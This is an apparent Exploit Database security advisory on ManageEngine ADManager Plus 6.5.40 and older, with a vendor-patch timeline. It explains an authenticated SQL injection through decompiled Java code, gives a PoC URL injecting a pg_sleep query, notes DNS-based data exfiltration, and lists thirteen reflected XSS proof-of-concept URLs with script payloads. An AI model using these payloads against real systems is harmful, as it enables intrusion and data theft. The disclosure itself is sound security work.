ManagEnegine ADManager Plus 6.5.40 – Multiple Vulnerabilities

Exploit Database
85 阅读
作者： Mehmet Ince

日期： 2017-01-08
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/41082/
1. ADVISORY INFORMATION
========================================
Title: ManagEnegine ADManager Plus <= 6.5.40 Multiple Vulnerabilities
Application: ManagEnegine Admanager
Remotely Exploitable: Yes
Authentication Required: Yes
Versions Affected: <= 6.5.40
Technology: Java
Vendor URL: https://www.manageengine.com/products/ad-manager/
Identified Issues Types: Reflected XSS(s), Authenticated Second Order SQL Injection
Author: Mehmet Ince
Date of found: 08 Jan 2017

2. CREDIT
========================================
Those vulnerabilities was identified during internal penetration test
by Mehmet INCE from PRODAFT / INVICTUS.

3. DETAILS
========================================

3.1 Authenticated Second Order SQL Injection
-----------------------------------------
AdventNetADSMClient.jar file contains DuplicateComputersListener class definition which is accessible with /Report.do enpoint.
start function of DuplicateComputerLİstener class is as follow (Irrelevant part are omitted.)

public void start(ArrayList attributeList, HttpServletRequest request, ReportBean bean)
{
try
{
... OMITTED ...

this.attrbId = request.getParameter("attrId");
this.tableName = request.getParameter("attrTabName");
this.attrbName = request.getParameter("attrbColName");

... OMITTED ...
}
catch (Exception e)
{
e.printStackTrace();
}
}

It takes user input without validation and set it directly to the class variables such as tableName, attrbName.
And then deriveData function are going to be called with class variables that under the adversary control
during complatedAction function execution.

public void completedAction()
{
if (this.updateDetails)
{
... OMITTED ...

deriveData(this.domainName, this.attrbId, this.attrbName, this.tableName);

... OMITTED ...
}
... OMITTED ...
}

deriveData function definition is as follow.

public void deriveData(String domainName, String attrbId, String attrbName, String tableName)
{
ArrayList list = new ArrayList();
RelationalAPI relationalAPI = RelationalAPI.getInstance();
Connection connection = null;
try
{
TableDefinition tableDef = MetaDataUtil.getTableDefinitionByName(tableName);
ColumnDefinition colDef = tableDef.getColumnDefinitionByName(attrbName);
String dataType = colDef.getDataType();
String selctAttrbCol_defaultValue = "'-'";
if (!dataType.equals("CHAR")) {
... OMITTED ...
}
String query = "select " + tableName + "." + attrbName + "," + tableName + ".domain_name " + " from " + tableName + " inner join " + this.resultTableName + " on " + tableName + ".object_guid=" + this.resultTableName + ".object_guid where " + tableName + "." + attrbName + "!=" + selctAttrbCol_defaultValue + " and " + tableName + ".domain_name='" + domainName + "' and " + this.resultTableName + ".report_generation_id='" + this.generationId + "' group by " + tableName + "." + attrbName + "," + tableName + ".domain_name having count(*) > 1;";
if (!tableName.equalsIgnoreCase(this.baseTableName))
{
String selctAttrbCol = tableName + "." + attrbName;
String parentAttrbCol = this.baseTableName + ".domain_name";

String parentTable = this.baseTableName;String childTable = tableName;
String parentJoinCol = this.baseTableName + ".object_guid";
String childJoinCol = tableName + ".object_guid";

String join = parentTable + " inner join " + childTable + " on " + parentJoinCol + " = " + childJoinCol + " inner join " + this.resultTableName + " on " + parentJoinCol + " = " + this.resultTableName + ".object_guid";

query = "select " + selctAttrbCol + "," + parentAttrbCol + " from " + join + " where " + selctAttrbCol + "!=" + selctAttrbCol_defaultValue + " and " + parentAttrbCol + "='" + domainName + "' and " + this.resultTableName + ".report_generation_id='" + this.generationId + "' group by " + selctAttrbCol + "," + parentAttrbCol + " having count(*) > 1;";
}
ArrayList result = getResult(query, attrbName);

ArrayList subList = new ArrayList();
if (result.size() > 0)
{
... OMITTED ...
}
if (subList.size() > 0)
{
... OMITTED ...

}
else
{
... OMITTED ...
}
}
catch (Exception e)
{
e.printStackTrace();
}
}

As you can see, database query built with user supplied variable without PDO/ORM.

POC URL : http://12.0.0.136:8080/Report.do?methodToCall=generateReport&action=Generate&domains=DC=acme,DC=local&&attrId=3001&attrTabName=1;%20SELECT%20pg_sleep(100);%20--&attrbColName=COMPUTER_NAME&attrbDispName=Computer%20Name
Vulnerable Parameters: attrTabName, attrbColName

IMPORTANT NOTE:
Since whole process are being called as background job, there is no way to successfully exploitation
with Blind and/or Time Based techniques. Since this application mostly runs on Windows operating systems, it's possible to
exfiltrate data with DNS queries.(http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281)

3.2 Reflected Cross-Site Scripting Issues
-----------------------------------------

Issue #1
POC URL : http://12.0.0.136:8080/ObjectProperties.do?selectedTab=home&guid={0622C4EE-51D8-4381-A1D9-05B66F10BA16}&domainName=12422'%3balert(1)%2f%2f166dlgck5&selectedObjectTab=properties&reportProperties=objectProperties&objectClass=computer&adscsrf=3b59a7c2-4cf4-4f3c-95e4-bfe41f76717a
Parameters: domainName

Issue #2
POC URL: http://12.0.0.136:8080/DelegationAudit.do?methodToCall=finish&selectedTab=delegation&selectedTile=delegationAudit&action='"--></style></scRipt><scRipt>alert(0x03279A)</scRipt>&init=true
Vulnerable Parameters: action

Issue #3
POC URL: http://12.0.0.136:8080/HDTTemplates.do?technicianId=1&domainName='"--></style></scRipt><scRipt>alert(0x0328D0)</scRipt>
Vulnerable Parameters: domainName

Issue #4
POC URL: http://12.0.0.136:8080/jsp/reports/ExportReport.jsp?reportList=true&reportId=43&waadAccId=/'onload='alert(9)
Vulnerable Parameters: waadAccId

Issue #5
POC URL: http://12.0.0.136:8080/MgmtAutomation.do?selectedTab=automation&selectedTile=mgmtAutomation&methodToCall=scheduledAutomationCreation&actionType='"--></style></scRipt><scRipt>alert(0x02CB72)</scRipt>
Vulnerable Parameters: actionType

Issue #6
POC URL: http://12.0.0.136:8080/ObjectProperties.do?guid={0262EDE4-B845-4E67-B926-BC89BC4DDCBF}&objectClass='"--></style></scRipt><scRipt>alert(0x013AEE)</scRipt>&domainName=acme.local&nodeClicked=DC=acme,DC=local&selectedObjectTab=properties&objectName=Builtin&adscsrf=
Vulnerable Parameters: objectClass, domainName

Issue #7
POC URL: http://12.0.0.136:8080/PopupInputSelection.do?methodToCall=selectContainer&domainName='"--></style></scRipt><scRipt>alert(0x025A20)</scRipt>&isWorkFlow=false&id=input2014&container=CN=Users,DC=acme,DC=local
Vulnerable Parameters: domainName, id, container

Issue #8
POC URL: http://12.0.0.136:8080/Report.do?selectedTab=reports&methodToCall=report&init=true&reportTab='"--></style></scRipt><scRipt>alert(0x00AE90)</scRipt>&tileName=Compliance Reports
Vulnerable Parameters: reportTab, tileName, categoryId,

Issue #9
POC URL: http://12.0.0.136:8080/AdvancedFilter.do?beanName=ReportBean&domainName='"--></style></scRipt><scRipt>alert(0x0376D4)</scRipt>&distinguishedName=DC=acme,DC=local
Vulnerable Parameters: domainName, distinguishedName

Issue #10
POC URL: http://12.0.0.136:8080/ViewSIDs.do?domainName='"--></style></scRipt><scRipt>alert(0x041BA0)</scRipt>&permissionType=folder
Vulnerable Parameters: permissionType, domianName

Issue #11
POC URL: http://12.0.0.136:8080/computerList.do?defaultNamingContext=DC=acme,DC=local&textField='"--></style></scRipt><scRipt>alert(0x042402)</scRipt>
Vulnerable Parameters: textField

Issue #12
POC URL: http://12.0.0.136:8080/ViewObjects.do?defaultNamingContext=x'" onmouseover=alert(9) &modelName=TreeModel&showDomains=false
Vulnerable Parameters: defaultNamingContext,modelName, showDomain

Issue #13
POC URL: http://12.0.0.136:8080/groupList.do?defaultNamingContext=DC=acme,DC=local&modifyType='"--></style></scRipt><scRipt>alert(0x0437B4)</scRipt>&beanName=undefined&type=single
Vulnerable Parameters: modifyType, beanName


4. TIMELINE
========================================
06 Jan 2017 - Netsparker identified several XSS vulnerabilities.
07 Jan 2017 - Further investigation done by INVICTUS/PRODAFT team.
07 Jan 2017 - SQL Injection identified by INVICTUS/PRODAFT team.
08 Jan 2017 - Details and short term mitigations are shared with members of GPACT/USTA platforms.
09 Jan 2017 - Vendor notified.
09 Jan 2017 - Vendor acknowledge the report.
13 Jan 2017 - Vendor replied with patch.
13 Jan 2017 - Patch verified by INVICTUS/PRODAFT team.
16 Jan 2017 - Advisory released (https://www.manageengine.com/products/ad-manager/release-notes.html)